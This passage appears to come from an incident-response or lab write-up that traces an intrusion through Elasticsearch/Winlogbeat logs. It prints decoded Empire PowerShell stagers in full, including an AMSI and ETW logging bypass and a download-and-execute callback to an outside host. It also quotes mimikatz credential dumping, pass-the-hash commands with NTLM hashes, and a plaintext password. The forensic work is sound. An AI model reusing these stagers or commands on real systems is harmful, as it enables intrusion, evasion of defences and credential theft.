gACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA" | base64 -d

  If($PSVersionTable.PSVersion.Major -ge 3){$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBjAGQAbgAuAGIAYQBuAGEAbgBhAHAAZQBlAGwAcABhAHIAdAB5AC4AbgBlAHQAOgA4ADAA')));$t='/news.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('}wS1&VNqoIY*G#5-Plv{p2f=4Z?uat@<');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","rlkHVXWbb=TpmUDibXpfiUU1/mwqwmentgb3I=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX
  
$ echo "aAB0AHQAcAA6AC8ALwBjAGQAbgAuAGIAYQBuAGEAbgBhAHAAZQBlAGwAcABhAHIAdAB5AC4AbgBlAHQAOgA4ADAA" | base64 -d

  http://cdn.bananapeelparty.net:80
```

It is an Empire stager and calls back to `cdn.bananapeelparty.net:80` or `165.232.170.151:80`:

```powershell
$ cat query_net.json 

  {
	"query":{
		"bool": {
			"must": {
				"term": {
					"process.pid": "6160"
				}
			},
			"should": [{
				"match": {
					"event.category": "network"
				}
			}],
			"filter": {
				"range": {
					"@timestamp": {
        					"gte": "2023-08-29T00:00:00", 
        					"lte": "2023-08-31T00:00:00"
					}
				}
			}
		}
	},
	"_source": ["@timestamp", "host.hostname", "source.ip", "source.port", "destination.ip", "destination.port"]
  }
  
$ curl -d "$(cat query_net.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | jq -r '"\(.host.hostname)\t\(.destination.ip):\(.destination.port)"' | sort | uniq -c | sort -nr

   2424 WKSTN-0051	165.232.170.151:80
     23 WKSTN-0051	null:null
      5 WKSTN-0051	10.10.97.43:389
      2 WKSTN-0051	185.199.110.133:443
      1 WKSTN-0051	185.199.111.133:443
      1 WKSTN-0051	185.199.109.133:443
      1 WKSTN-0051	140.82.121.3:443
```

Following the commands associated with the Empire stager, the attacker performed enumeration targeting the domain and proceeded to download and execute `mimikatz.exe` where they were able to authenticate as `itadmin` via Pass-the-Hash:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 6160

  [..omitted..]
  2023-08-29T23:55:17.945Z  evan.hutchinson	4896	6160	"C:\Windows\system32\cmd.exe" /c "whoami /all"
  2023-08-30T00:06:38.162Z  evan.hutchinson	7736	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -useb); Get-DomainComputer"
  2023-08-30T00:08:56.421Z  evan.hutchinson	6328	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -useb); Get-Domain"
  2023-08-30T00:09:23.529Z  evan.hutchinson	4844	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -useb); Get-DomainUser"
  2023-08-30T00:09:57.186Z  evan.hutchinson	6968	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile mimi.zip"
  2023-08-30T00:10:15.314Z  evan.hutchinson	5532	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Expand-Archive mimi.zip"
  2023-08-30T00:11:26.438Z  evan.hutchinson	4948	6160	"C:\Windows\Temp\m\x64\mimi\x64\mimikatz.exe" privilege::debug sekurlsa::logonpasswords exit
  2023-08-30T00:13:37.090Z  evan.hutchinson	1892	6160	"C:\Windows\Temp\m\x64\mimi\x64\mimikatz.exe" "sekurlsa::pth /user:itadmin /domain:QUICKLOGISTICS /ntlm:F84769D250EB95EB2D7D8B4A1C5613F2 /run:powershell.exe" exit
  [..omitted..]
```

### II. WKSTN-1327

Using `Invoke-ShareFinder` from `PowerView.ps1`, the attacker seems to have discovered credentials for `allan.smith` in a file named, `IT_Automation.ps1`, and executed commands on `WKSTN-1327` remotely via `Invoke-Command`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 6160

  [..omitted..]
  2023-08-30T00:14:36.078Z  evan.hutchinson	3312	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -useb); Invoke-ShareFinder"
  2023-08-30T00:18:38.647Z  evan.hutchinson	3288	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "ls FileSystem::\\WKSTN-1327.quicklogistics.org\ITFiles"
  2023-08-30T00:19:52.889Z  evan.hutchinson	4820	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "cat FileSystem::\\WKSTN-1327.quicklogistics.org\ITFiles\IT_Automation.ps1"
  2023-08-30T00:20:23.384Z  evan.hutchinson	7952	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$credential = (New-Object PSCredential -ArgumentList (" "QUICKLOGISTICS\allan.smith, (ConvertTo-SecureString Tr!ckyP@ssw0rd987 -AsPlainText -Force))) ; Invoke-Command -Credential $credential -ComputerName WKSTN-1327 -ScriptBlock {whoami}"
  2023-08-30T00:20:56.818Z  evan.hutchinson	6848	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$credential = (New-Object PSCredential -ArgumentList ('QUICKLOGISTICS\allan.smith', (ConvertTo-SecureString 'Tr!ckyP@ssw0rd987' -AsPlainText -Force))) ; Invoke-Command -Credential $credential -ComputerName WKSTN-1327 -ScriptBlock {whoami}"
  [..omitted..]
```

Another Empire stager was executed on the new workstation using the same method:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 6160

  [..omitted..]
  2023-08-30T00:21:52.606Z  evan.hutchinson	4976	6160	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$credential = (New-Object PSCredential -ArgumentList ('QUICKLOGISTICS\allan.smith', (ConvertTo-SecureString 'Tr!ckyP@ssw0rd987' -AsPlainText -Force))) ; Invoke-Command -Credential $credential -ComputerName WKSTN-1327 -ScriptBlock {powershell -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==}"
  
$ echo "SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==" | base64 -d

  If($PSVersionTable.PSVersion.Major -ge 3){};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBjAGQAbgAuAGIAYQBuAGEAbgBhAHAAZQBlAGwAcABhAHIAdAB5AC4AbgBlAHQAOgA4ADAA')));$t='/admin/get.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('}wS1&VNqoIY*G#5-Plv{p2f=4Z?uat@<');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","rlkHVXWbb=13cfco9rUXx0i4J3xTu682JFiX0=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX
  
$ echo 'aAB0AHQAcAA6AC8ALwBjAGQAbgAuAGIAYQBuAGEAbgBhAHAAZQBlAGwAcABhAHIAdAB5AC4AbgBlAHQAOgA4ADAA' | base64 -d

  http://cdn.bananapeelparty.net:80
```

Confirming if the `Invoke-Command` executions were successful, it can be seen that the commands were spawned via `wsmprovhost.exe` meaning the attempt went through:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort            

  2023-08-30T00:20:59.159Z  allan.smith	4892	752	C:\Windows\system32\wsmprovhost.exe -Embedding
  2023-08-30T00:20:59.718Z  allan.smith	5076	4892	"C:\Windows\system32\whoami.exe"
  2023-08-30T00:21:53.053Z  allan.smith	6788	752	C:\Windows\system32\wsmprovhost.exe -Embedding
  2023-08-30T00:21:53.284Z  allan.smith	6708	6788	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
  [..omitted..]
```

It seems that `allan.smith` is a Local Administrator on the workstation and the attacker leveraged the fact by dumping credentials via a downloaded `mimikatz.exe`. This time, revealing the NTLM hash of the Domain Administrator, `Administrator`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 6708

  [..omitted..]
  2023-08-30T00:22:15.913Z  allan.smith	5128	6708	"C:\Windows\system32\cmd.exe" /c hostname
  2023-08-30T00:22:22.315Z  allan.smith	5096	6708	"C:\Windows\system32\cmd.exe" /c "whoami /all"
  2023-08-30T01:28:22.638Z  allan.smith	6612	6708	"C:\Windows\system32\more.com"
  2023-08-30T01:29:09.409Z  allan.smith	1812	6708	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile mimi.zip"
  2023-08-30T01:29:39.620Z  allan.smith	6528	6708	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Expand-Archive mimi.zip"
  2023-08-30T01:30:25.545Z  allan.smith	2056	6708	"C:\Users\allan.smith\Documents\mimi\x64\mimikatz.exe" "sekurlsa::pth /user:itadmin /domain:QUICKLOGISTICS /ntlm:F84769D250EB95EB2D7D8B4A1C5613F2 /run:powershell.exe" exit
  2023-08-30T01:30:51.647Z  allan.smith	6736	6708	"C:\Users\allan.smith\Documents\mimi\x64\mimikatz.exe" privilege::debug sekurlsa::logonpasswords exit
  2023-08-30T01:31:39.366Z  allan.smith	6236	6708	"C:\Users\allan.smith\Documents\mimi\x64\mimikatz.exe" "sekurlsa::pth /user:administrator /domain:QUICKLOGISTICS /ntlm:00f80f2538dcb54e7adc715c0e7091ec /run:powershell.exe" exit
  [..omitted..]
```

The Empire stager was run again then the attacker used `Invoke-Command` once again to execute commands remotely on `DC01` as well as establish persistence via `schtasks.exe` on `WKSTN-1327`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 2780                 

  2023-08-30T01:40:38.541Z  allan.smith	2780	752	C:\Windows\system32\wsmprovhost.exe -Embedding
